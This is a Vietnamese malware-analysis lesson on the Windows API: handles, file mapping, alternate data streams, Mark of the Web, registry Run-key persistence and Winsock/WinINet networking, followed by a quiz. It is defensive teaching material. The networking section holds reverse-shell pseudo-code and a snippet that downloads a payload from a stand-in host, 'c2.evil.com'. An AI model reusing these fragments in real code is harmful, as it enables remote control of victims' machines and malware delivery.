Bài 4: Phân Tích Chương Trình Windows Độc Hại — Phần A


Windows API — Tổng Quan

Windows API là “cánh cửa” duy nhất mà mọi chương trình — kể cả malware — phải đi qua để tương tác với hệ điều hành. Hiểu API là hiểu được “ngôn ngữ” mà malware nói chuyện với Windows.

Khái niệm & lý thuyết

Windows API (WinAPI) là tập hợp các hàm, kiểu dữ liệu và quy ước do Microsoft cung cấp, cho phép ứng dụng tương tác với các thư viện hệ thống (DLL như kernel32.dll, user32.dll, v.v.).

Đặc điểm nổi bật:

  • API đủ phong phú đến mức lập trình viên Windows hiếm khi cần thư viện bên thứ ba
  • Malware bắt buộc phải dùng WinAPI để thực hiện hầu hết các hành vi độc hại (tạo file, kết nối mạng, chỉnh registry…)
  • Việc nhận biết các API call giúp analyst suy ra hành vi của malware mà không cần chạy nó

Khái niệm & lý thuyết — Types & Hungarian Notation

Hungarian Notation là quy ước đặt tên biến bằng cách thêm tiền tố (prefix) để biểu thị kiểu dữ liệu. Windows API dùng quy ước này xuyên suốt.

Kiểu (Type)PrefixÝ nghĩa
WORDwSố nguyên không dấu 16-bit
DWORDdwSố nguyên không dấu 32-bit
HandleHTham chiếu đến một object
Long PointerLPCon trỏ trỏ đến kiểu khác

Suffix A/W và Ex:

  • A = ASCII string version (ví dụ: CreateFileA)
  • W = Wide character / Unicode version (ví dụ: CreateFileW)
  • Ex = Extended version — khi Microsoft cập nhật hàm nhưng vẫn giữ hàm cũ để tương thích ngược (ví dụ: CreateWindowEx)

Khái niệm & lý thuyết — Handles

Handle là một định danh (identifier) do Windows cấp phát khi một object (file, process, window, socket…) được mở hoặc tạo ra.

Đặc điểm của handle:

  • Giống con trỏ ở chỗ: tham chiếu đến một vị trí/object ở nơi khác
  • Khác con trỏ ở chỗ: không dùng được trong phép tính số học, không nhất thiết là địa chỉ bộ nhớ thực
  • Cách dùng duy nhất: lưu lạitruyền vào các hàm API tiếp theo để thao tác cùng object đó

Cách hoạt động / Luồng xử lý

sequenceDiagram participant App as Chương trình participant OS as Windows OS App->>OS: CreateWindowEx(...) OS-->>App: HWND hWnd (handle to window) Note over App: Lưu handle hWnd lại App->>OS: DestroyWindow(hWnd) OS-->>App: Thực thi & trả về kết quả

Ví dụ thực tế & Analogy

Ví dụ: Hàm CreateWindowEx trả về HWND — handle đến cửa sổ vừa tạo. Muốn đóng cửa sổ đó, bạn gọi DestroyWindow(hWnd). Không có handle → không làm gì được với cửa sổ đó.

Analogy: Handle giống như số thẻ gửi xe. Khi bạn gửi xe (tạo object), bảo vệ đưa cho bạn một tờ phiếu (handle). Muốn lấy xe lại (thao tác với object), bạn phải đưa đúng phiếu đó. Phiếu không phải là xe, nhưng không có phiếu thì không lấy được xe.

⚠️ Điểm hay gặp sai / Cần lưu ý

Câu hỏi thực tế

  1. Khi phân tích một file binary và thấy hàm CreateFileA trả về một giá trị rồi giá trị đó được truyền thẳng vào ReadFile — bạn nhận ra điều gì đang xảy ra?
  2. Tại sao malware analyst cần hiểu Hungarian Notation khi đọc disassembly?

💡 Chốt nhanh: WinAPI là “ngôn ngữ” bắt buộc của mọi chương trình Windows. Handle là “phiếu gửi xe” — chỉ dùng để truyền vào API, không dùng tính toán. Prefix trong Hungarian Notation giúp đọc code nhanh hơn.



File System Functions

Malware tương tác với file system là một trong những hành vi dễ quan sát và dễ phát hiện nhất. Hiểu các hàm file system giúp bạn nhận ra malware đang làm gì chỉ từ danh sách API imports.

Khái niệm & lý thuyết

Hai nhóm hàm chính:

Nhóm 1 — I/O thông thường:

HàmVai trò
CreateFileTạo hoặc mở file (cũng dùng cho pipe, device)
ReadFileĐọc dữ liệu từ file
WriteFileGhi dữ liệu vào file

Nhóm 2 — File Mapping (thường dùng bởi malware):

HàmVai trò
CreateFileMappingLoad file từ đĩa vào RAM, tạo mapping object
MapViewOfFileTrả về con trỏ đến base address của mapping

Cách hoạt động / Luồng xử lý

flowchart TD A[CreateFile\nMở file trên đĩa] --> B[CreateFileMapping\nTạo mapping object trong RAM] B --> C[MapViewOfFile\nLấy con trỏ đến vùng nhớ] C --> D{Malware thao tác\ntrực tiếp trên RAM} D --> E[Parse PE Header] D --> F[Sửa đổi nội dung file] E --> G[Thực thi như Windows Loader\nnhưng không qua loader thật]

Ví dụ thực tế & Analogy

Ví dụ thực tế: Malware dùng CreateFileMapping + MapViewOfFile để load một file exe vào RAM, tự parse PE header, tự fix relocation, rồi nhảy thẳng vào entry point — tất cả mà không cần gọi LoadLibrary hay CreateProcess.

Analogy: ReadFile giống đọc sách từng trang một — chậm, tuần tự. MapViewOfFile giống scan toàn bộ cuốn sách thành ảnh rồi mở trên màn hình — bạn có thể nhảy đến bất kỳ trang nào ngay lập tức bằng cách di chuyển con trỏ màn hình.

⚠️ Điểm hay gặp sai / Cần lưu ý

Câu hỏi thực tế

  1. Bạn thấy một file binary import CreateFileMappingMapViewOfFile. Bạn sẽ đặt giả thuyết gì về hành vi của nó?
  2. Sự khác biệt giữa dùng ReadFileMapViewOfFile khi malware cần đọc và sửa một PE file là gì?

💡 Chốt nhanh: CreateFile/ReadFile/WriteFile là I/O thông thường. CreateFileMapping + MapViewOfFile là kỹ thuật “load file vào RAM như loader” — dấu hiệu đặc trưng của malware tinh vi.



Special Files

Windows có nhiều loại “file đặc biệt” mà malware khai thác để né tránh phát hiện hoặc thực hiện các thao tác ngoài tầm kiểm soát của OS thông thường.

Khái niệm & lý thuyết

1. Shared Files & UNC Path:

Path formatÝ nghĩa
\\server\shareTruy cập file chia sẻ trên mạng (UNC path chuẩn)
\\?\server\shareTắt string parsing của Windows, cho phép tên file dài hơn giới hạn MAX_PATH

2. Namespaces:

NamespaceKý hiệuÝ nghĩa
NT Namespace\Namespace thấp nhất, chứa tất cả — kể cả device và các namespace khác
Win32 Device Namespace\\.\Truy cập trực tiếp vào thiết bị vật lý

3. Alternate Data Streams (ADS):

ADS là luồng dữ liệu thứ hai được đính kèm vào một file trong hệ thống NTFS. Cú pháp: filename.txt:hidden_stream.txt

4. Windows Mark of the Web (MotW):

Khi file được tải từ Internet, Windows ghi thông tin vào ADS tên Zone.Identifier:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com
HostUrl=https://cdn.example.com/file.exe
ZoneIdVùng
1Local computer
2Local intranet
3Trusted site
4Internet (MotW áp dụng mặc định)
5Restricted site

Cách hoạt động / Luồng xử lý

flowchart LR subgraph "Device Namespace \\.\\" D1["\\.\PhysicalDisk1\nTruy cập ổ đĩa vật lý"] D2["\\.\C:\nTruy cập volume"] end subgraph "Hệ quả" E1["Đọc/ghi sector\nkhông qua filesystem"] E2["Né tránh antivirus\nfile-based scanning"] E3["Dữ liệu ở unallocated sector\nkhông tạo file nào"] end D1 --> E1 --> E2 E1 --> E3

Ví dụ thực tế & Analogy

Ví dụ — Device Namespace: Worm Witty (2004) ghi thẳng vào \\.\PhysicalDisk1 để corrupt dữ liệu ổ đĩa — không tạo file nào, không bị file-based antivirus phát hiện.

Ví dụ — ADS: Malware có thể ẩn payload vào legitimate.txt:evil.exe — khi dùng dir trong CMD, file vẫn hiển thị kích thước của legitimate.txt, không ai thấy payload.

# Tạo ADS
echo malicious_content > legit.txt:hidden.exe

# Xem ADS
Get-Item .\legit.txt -Stream *

# Đọc ADS (ví dụ MotW)
Get-Content .\downloaded.exe -Stream Zone.Identifier

Analogy — ADS: Giống như quyển sách có khoang bí mật bên trong bìa — nhìn ngoài thấy sách bình thường, nhưng bên trong bìa có thể giấu vật khác mà không ai nghi ngờ.

Analogy — MotW: Giống tem kiểm dịch hải quan dán lên hàng nhập khẩu — Windows dùng MotW để biết file “từ đâu đến” và quyết định có hiện cảnh báo hay không.

⚠️ Điểm hay gặp sai / Cần lưu ý

Câu hỏi thực tế

  1. Một file report.docx được tải về từ internet nhưng khi mở không có cảnh báo Protected View. Bạn kiểm tra và thấy không có Zone.Identifier stream. Điều gì có thể đã xảy ra?
  2. Tại sao malware lại dùng \\.\PhysicalDisk1 thay vì ghi file bình thường vào ổ C:?
  3. Bạn làm IR (Incident Response) và cần kiểm tra xem có ADS đáng ngờ nào không — bạn dùng lệnh gì?

💡 Chốt nhanh: \\.\ cho phép truy cập thiết bị vật lý trực tiếp — né hoàn toàn filesystem. ADS giấu dữ liệu trong file NTFS không nhìn thấy bằng mắt thường. MotW là cơ chế Windows đánh dấu file từ Internet — bypass MotW là kỹ thuật tấn công hiện đại.



Windows Registry

Registry là “bộ não cấu hình” của Windows — và cũng là nơi malware hay nhất, dễ nhất để duy trì persistence.

Khái niệm & lý thuyết

Registry là cơ sở dữ liệu phân cấp (hierarchical database) lưu trữ toàn bộ cấu hình của Windows và các ứng dụng, thay thế cho file .ini từ thời Windows cũ.

Thuật ngữ cốt lõi:

Thuật ngữÝ nghĩa
Root Key / Hive / HKEY5 key cấp cao nhất, gốc của toàn bộ registry
Key“Thư mục” trong registry, có thể chứa subkey hoặc value
SubkeyKey nằm bên trong một key khác (thư mục con)
Value EntryMột mục dữ liệu gồm: tên + kiểu + dữ liệu
Value / DataDữ liệu thực sự được lưu trong một value entry

5 Root Keys:

Root KeyViết tắtNội dung
HKEY_LOCAL_MACHINEHKLMCấu hình toàn máy (tất cả user)
HKEY_CURRENT_USERHKCUCấu hình riêng cho user đang đăng nhập
HKEY_CLASSES_ROOTHKCRĐịnh nghĩa file type, COM classes
HKEY_CURRENT_CONFIGHKCCCấu hình phần cứng hiện tại
HKEY_USERSHKUCấu hình cho tất cả user profiles

Cách hoạt động / Luồng xử lý — Run Key (Persistence)

flowchart TD A[Máy khởi động / User đăng nhập] --> B{Kiểm tra Run Keys} B --> C["HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\n(tất cả user)"] B --> D["HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\n(chỉ user hiện tại)"] C --> E[Thực thi tất cả value trong key] D --> E E --> F["Malware khởi động cùng Windows ✓"]

Các hàm Registry API quan trọng:

HàmVai trò
RegOpenKeyExMở một registry key để đọc hoặc chỉnh sửa
RegSetValueExThêm hoặc cập nhật một value trong registry
RegGetValueĐọc dữ liệu của một value entry

Ví dụ thực tế & Analogy

Ví dụ — Malware persistence qua Run Key:

; Đoạn assembly khi malware ghi vào Run key
push  2                          ; samDesired = KEY_SET_VALUE  
push  eax                        ; ulOptions
push  offset SubKey              ; "Software\Microsoft\Windows\CurrentVersion\Run"
push  HKEY_LOCAL_MACHINE         ; hKey
call  RegOpenKeyExW

; Sau đó gọi RegSetValueEx để ghi tên malware vào key này

Mỗi lần Windows khởi động, malware được chạy lại — đây là kỹ thuật persistence cơ bản nhất mà mọi analyst cần nhận ra ngay.

Ví dụ — File .REG: Registry có thể export/import qua file .reg — malware có thể tạo file .reg và dùng regedit /s để import silently (không hiện hộp thoại xác nhận).

Analogy: Registry giống sổ đăng ký hộ khẩu của Windows — mọi chương trình “muốn sống” trong Windows đều phải đăng ký ở đây. Malware chỉ cần “nhét tên mình vào sổ hộ khẩu” ở Run key là đảm bảo sống sót qua mỗi lần reboot.

Analogy — HKLM vs HKCU: HKLM giống nội quy chung của tòa nhà (áp dụng cho tất cả cư dân), HKCU giống quy tắc riêng của từng căn hộ (chỉ áp dụng cho chủ nhân).

⚠️ Điểm hay gặp sai / Cần lưu ý

Câu hỏi thực tế

  1. Bạn phân tích một sample và thấy nó gọi RegOpenKeyEx với path Software\Microsoft\Windows\CurrentVersion\Run. Bạn kết luận gì về mục đích của malware?
  2. Tại sao malware thích dùng HKCU\Run hơn HKLM\Run trên máy tính thông thường (không phải máy admin)?
  3. Một user báo rằng sau khi reboot, một chương trình lạ cứ tự khởi động. Bạn sẽ kiểm tra những vị trí nào đầu tiên?

💡 Chốt nhanh: Registry là kho cấu hình trung tâm của Windows. Run Key (HKLM/HKCU\...\Run) là điểm persistence phổ biến nhất của malware. RegOpenKeyExRegSetValueEx là combo API để malware “đặt chân” vào registry.



Networking APIs

Khi malware cần “gọi về nhà” (C2 communication), download payload, hay tạo backdoor — nó phải dùng Networking API. Biết các hàm này giúp bạn phát hiện và phân tích lưu lượng mạng độc hại.

Khái niệm & lý thuyết

Hai tầng API mạng chính:

┌─────────────────────────────────────────┐
│          WinINet API (cao cấp)          │  ← HTTP, FTP, giao thức Application layer
│     InternetOpen, InternetOpenURL...    │
├─────────────────────────────────────────┤
│        Winsock / Berkeley Sockets       │  ← TCP/UDP raw socket, tương tự Unix
│    socket, bind, connect, send, recv    │
├─────────────────────────────────────────┤
│           Network Stack (OS)            │
└─────────────────────────────────────────┘

Winsock (trong ws2_32.dll): API socket tương thích Berkeley, gần như giống hệt Unix socket.

Hàm Winsock quan trọng:

HàmVai trò
WSAStartupBắt buộc gọi đầu tiên trước mọi Winsock function — khởi tạo thư viện mạng
socketTạo một socket mới
bindGắn socket vào một port cụ thể (phía server)
listenĐánh dấu socket đang lắng nghe kết nối đến
acceptChấp nhận kết nối từ client
connectKết nối đến server (phía client)
sendGửi dữ liệu qua socket
recvNhận dữ liệu từ socket

WinINet (trong Wininet.dll): API cấp cao hơn, implement sẵn HTTP/FTP.

HàmVai trò
InternetOpenKhởi tạo kết nối Internet
InternetOpenURLKết nối đến một URL cụ thể
InternetReadFileĐọc dữ liệu từ URL (download)

Cách hoạt động / Luồng xử lý

sequenceDiagram participant S as Server (malware lắng nghe) participant C as Client (malware kết nối ra ngoài) Note over S: Server-side flow S->>S: WSAStartup() S->>S: socket() S->>S: bind() — gắn vào port S->>S: listen() — chờ kết nối S->>S: accept() — chấp nhận client Note over C: Client-side flow C->>C: WSAStartup() C->>C: socket() C->>C: connect() — kết nối đến C2 server S<<->>C: send() / recv() — trao đổi dữ liệu
flowchart LR subgraph "Malware dùng Winsock tạo reverse shell" A[socket] --> B[connect đến C2] B --> C[CreateProcess cmd.exe] C --> D["Gán socket vào\nhStdInput/hStdOutput/hStdError"] D --> E["C2 operator gõ lệnh\nqua mạng → chạy trên máy nạn nhân"] end

Ví dụ thực tế & Analogy

Ví dụ — Reverse Shell: Malware dùng socket + connect để kết nối ra ngoài (bypass firewall vì outbound thường cho phép), sau đó tạo cmd.exe với stdin/stdout/stderr được redirect vào socket. Kết quả: attacker gõ lệnh từ xa, lệnh chạy trên máy nạn nhân.

// Pseudo-code của reverse shell đơn giản nhất
SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, &c2_addr, sizeof(c2_addr));

STARTUPINFO si = {0};
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;
si.dwFlags = STARTF_USESTDHANDLES;

CreateProcess("cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

Ví dụ — Dùng WinINet để download payload:

HINTERNET hNet = InternetOpen("Mozilla/5.0", ...); // Fake user-agent
HINTERNET hUrl = InternetOpenURL(hNet, "http://c2.evil.com/payload.exe", ...);
InternetReadFile(hUrl, buffer, bufferSize, &bytesRead);
// Ghi payload vào đĩa và thực thi

Analogy — WSAStartup: Giống như cắm dây điện thoại vào ổ trước khi gọi — không làm bước này thì mọi hàm mạng khác đều thất bại. Đây là lý do khi debug malware, đặt breakpoint ở WSAStartup là cách nhanh nhất để bắt đầu trace network activity.

Analogy — Winsock vs WinINet: Winsock giống tự lái xe — bạn kiểm soát hoàn toàn nhưng phải tự xử lý mọi thứ. WinINet giống đặt taxi (Grab) — đơn giản hơn, chỉ nói điểm đến (URL) là xong, nhưng ít kiểm soát hơn.

⚠️ Điểm hay gặp sai / Cần lưu ý

Câu hỏi thực tế

  1. Bạn thấy một sample import socket, connect, CreateProcessSTARTF_USESTDHANDLES được set trong STARTUPINFO. Bạn đặt giả thuyết gì?
  2. Sự khác biệt về mức độ kiểm soát và độ khó phân tích giữa malware dùng Winsock raw socket và malware dùng WinINet là gì?
  3. Tại sao đặt breakpoint ở WSAStartup lại hữu ích hơn là đặt ở connect khi bắt đầu phân tích malware có network activity?

💡 Chốt nhanh: WSAStartupsocketconnect/bindsend/recv là flow cơ bản của Winsock. Reverse shell = connect ra ngoài + redirect cmd.exe vào socket. WinINet đơn giản hơn nhưng ít kiểm soát hơn — cả hai đều là dấu hiệu network C2 trong malware.



🧪 Quiz — Phần A

Tầng 1 — Ghi nhớ (Kiến thức cơ bản)


Câu 1. Trong Windows API, kiểu dữ liệu DWORD có kích thước là bao nhiêu?

  • 32-bit unsigned integer
  • 16-bit unsigned integer
  • 64-bit unsigned integer
  • 8-bit unsigned integer

Câu 2. Trong Hungarian Notation, biến lpszFileName có prefix lp cho biết điều gì?

  • Đây là một Long Pointer (con trỏ) trỏ đến một kiểu dữ liệu khác
  • Đây là một giá trị 16-bit
  • Đây là một Handle đến một object
  • Đây là một DWORD value

Câu 3. Khi gặp hàm CreateDirectoryW trong disassembly, bạn cần tra tài liệu với tên hàm nào?

  • CreateDirectory
  • CreateDirectoryW
  • CreateDirectoryA
  • CreateDir

Câu 4. Handle trong Windows API khác con trỏ (pointer) ở điểm nào cơ bản nhất?

  • Handle không thể dùng trong phép tính số học và không nhất thiết là địa chỉ bộ nhớ thực
  • Handle luôn có kích thước 64-bit còn pointer có thể 32 hoặc 64-bit
  • Handle chỉ dùng cho file còn pointer dùng cho tất cả
  • Handle là kiểu dữ liệu của kernel còn pointer là của user space

Câu 5. Registry key nào thường được malware sử dụng nhất để đạt được persistence (tự khởi động)?

  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • HKLM\SYSTEM\CurrentControlSet\Services
  • HKEY_CLASSES_ROOT\CLSID
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion

Câu 6. Hàm nào bắt buộc phải gọi đầu tiên trước khi sử dụng bất kỳ hàm Winsock nào khác?

  • WSAStartup
  • socket
  • connect
  • WSACleanup

Câu 7. Alternate Data Streams (ADS) tồn tại trên hệ thống file nào?

  • NTFS
  • FAT32
  • exFAT
  • ext4

Câu 8. ZoneId=4 trong file Zone.Identifier có nghĩa là gì?

  • File được tải từ Internet — Mark of the Web được áp dụng
  • File từ máy tính cục bộ
  • File từ mạng nội bộ
  • File từ trang web tin cậy

Câu 9. Hàm MapViewOfFile trả về gì?

  • Con trỏ đến base address của vùng nhớ chứa file đã được map
  • Handle đến file đã được mở
  • Số byte đã được đọc từ file
  • Handle đến mapping object

Câu 10. HKEY_LOCAL_MACHINE (HKLM) khác HKEY_CURRENT_USER (HKCU) ở điểm gì?

  • HKLM lưu cấu hình áp dụng cho toàn máy (tất cả user), HKCU chỉ cho user đang đăng nhập
  • HKLM chỉ đọc được, HKCU có thể ghi
  • HKLM dành cho phần cứng, HKCU dành cho phần mềm
  • HKLM lưu trong RAM, HKCU lưu trên đĩa

Tầng 2 — Hiểu & Phân Tích


Câu 11. Tại sao malware thường dùng CreateFileMapping + MapViewOfFile thay vì CreateFile + ReadFile để load PE file?

  • Để tự load và thực thi PE file mà không qua Windows Loader, né tránh các hook đặt tại loader
  • MapViewOfFile nhanh hơn ReadFile về mặt hiệu năng
  • ReadFile không thể đọc file PE
  • CreateFileMapping cho phép đọc file đang bị lock bởi process khác

Câu 12. Malware dùng \\.\PhysicalDisk1 thay vì ghi file vào C:\ để đạt được mục đích gì?

  • Ghi/đọc dữ liệu vào unallocated sector mà không tạo file nào, né tránh file-based antivirus scanning
  • Ghi dữ liệu nhanh hơn vì bỏ qua filesystem cache
  • Truy cập file bị ẩn (hidden) mà Windows Explorer không hiển thị
  • Vượt qua giới hạn MAX_PATH của Windows

Câu 13. So sánh server-side và client-side socket flow. Phía nào cần gọi bind() và tại sao?

  • Server cần bind() để gắn vào một port cụ thể để client biết địa chỉ kết nối đến; client không cần vì OS tự cấp port ngẫu nhiên
  • Cả hai đều cần bind() để đăng ký với OS
  • Client cần bind() để xác định địa chỉ nguồn; server không cần
  • Chỉ UDP socket mới cần bind(), TCP không cần

Câu 14. Một analyst thấy malware import InternetOpen, InternetOpenURL, InternetReadFile, rồi CreateFile, WriteFile. Kịch bản nào phù hợp nhất?

  • Malware download một file từ URL về và ghi vào đĩa (dropper)
  • Malware upload file từ máy nạn nhân lên server
  • Malware tạo kết nối raw TCP để giao tiếp với C2
  • Malware kiểm tra kết nối Internet trước khi hoạt động

Câu 15. Tại sao HKCU\...\Run lại nguy hiểm hơn HKLM\...\Run từ góc độ phòng thủ?

  • Không cần quyền Administrator để ghi vào HKCU, nên malware chạy với user thường vẫn đặt được persistence
  • HKCU được thực thi trước HKLM nên malware khởi động sớm hơn
  • Antivirus không quét HKCU trong registry scan
  • HKCU không bị Autoruns kiểm tra

Câu 16. Khi phân tích một file .iso tải từ Internet, bạn mount và chạy file bên trong. Tại sao cảnh báo SmartScreen/Protected View có thể không xuất hiện?

  • File bên trong .iso không kế thừa MotW từ container, nên không có Zone.Identifier ADS
  • .iso file không thể chứa file thực thi
  • SmartScreen chỉ kiểm tra file .exe không kiểm tra file trong container
  • Zone.Identifier bị xóa khi mount ISO

Câu 17. Suffix Ex trong tên hàm Windows API (ví dụ: CreateWindowEx) có ý nghĩa gì?

  • Extended version — Microsoft cập nhật hàm gốc nhưng giữ lại hàm cũ để tương thích ngược, hàm mới có thêm suffix Ex
  • Hàm chỉ chạy được trên Windows 64-bit
  • Hàm được export từ DLL bên ngoài (external)
  • Hàm thuộc về Native API (ntdll.dll)

Tầng 3 — Vận dụng (Tình huống thực tế)


Câu 18. Bạn đang phân tích một sample malware và thấy chuỗi import sau: WSAStartupsocketconnectCreateProcess (với cmd.exe) → sendrecv. Bạn kết luận đây là loại malware gì và hoạt động như thế nào?

  • Reverse shell — malware kết nối chủ động ra ngoài đến C2, tạo cmd.exe với I/O redirect vào socket để attacker điều khiển từ xa
  • Bind shell — malware mở port chờ attacker kết nối vào
  • Dropper — malware tải payload từ C2 về và thực thi
  • Keylogger — malware ghi lại phím bấm và gửi về C2

Câu 19. Trong quá trình incident response, bạn tìm thấy một file svchost.txt trên máy nạn nhân. Khi chạy dir thấy kích thước file chỉ có 0 byte. Bạn nghi ngờ có gì ẩn trong file này. Lệnh PowerShell nào giúp xác minh nghi ngờ đó?

  • Get-Item .\svchost.txt -Stream *
  • Get-Content .\svchost.txt
  • dir /a .\svchost.txt
  • Get-FileHash .\svchost.txt

Câu 20. Bạn phân tích một malware dropper và thấy nó gọi RegOpenKeyEx với path SOFTWARE\Microsoft\Windows\CurrentVersion\Run, sau đó RegSetValueEx với value name "WindowsUpdate" và data là đường dẫn đến file malware. Bước tiếp theo trong phân tích, bạn nên làm gì?

  • Ghi lại registry key/value này như một IOC (host-based indicator), kiểm tra xem file được trỏ đến có tồn tại không, và tìm thêm persistence mechanism khác có thể bị bỏ sót
  • Xóa ngay value này khỏi registry để ngăn malware khởi động lại
  • Kết luận đây là toàn bộ persistence mechanism và dừng phân tích
  • Báo cáo đây là false positive vì “WindowsUpdate” là tên hợp lệ của Windows

Câu 21. Trong dynamic analysis, malware không có network activity nào rõ ràng khi chạy trong sandbox. Nhưng khi đọc import table, bạn thấy socket, connect, send. Điều gì có thể giải thích hiện tượng này và bạn sẽ làm gì tiếp theo?

  • Malware có thể kiểm tra môi trường (anti-sandbox) hoặc C2 server đã offline; thử chạy với INetSim/FakeNet-NG để simulate C2 response và quan sát behavior
  • Import table bị phân tích sai; malware không thực sự dùng các hàm này
  • Malware dùng encrypted channel nên traffic không visible; cần decrypt pcap
  • Sandbox không monitor Winsock; cần monitor ở kernel level

Kết thúc Phần A. Phần B sẽ bao gồm: DLLs, Processes, Threads, Mutexes, Services, COM, Kernel vs User Mode, Native API, Syscalls, và API Hashing.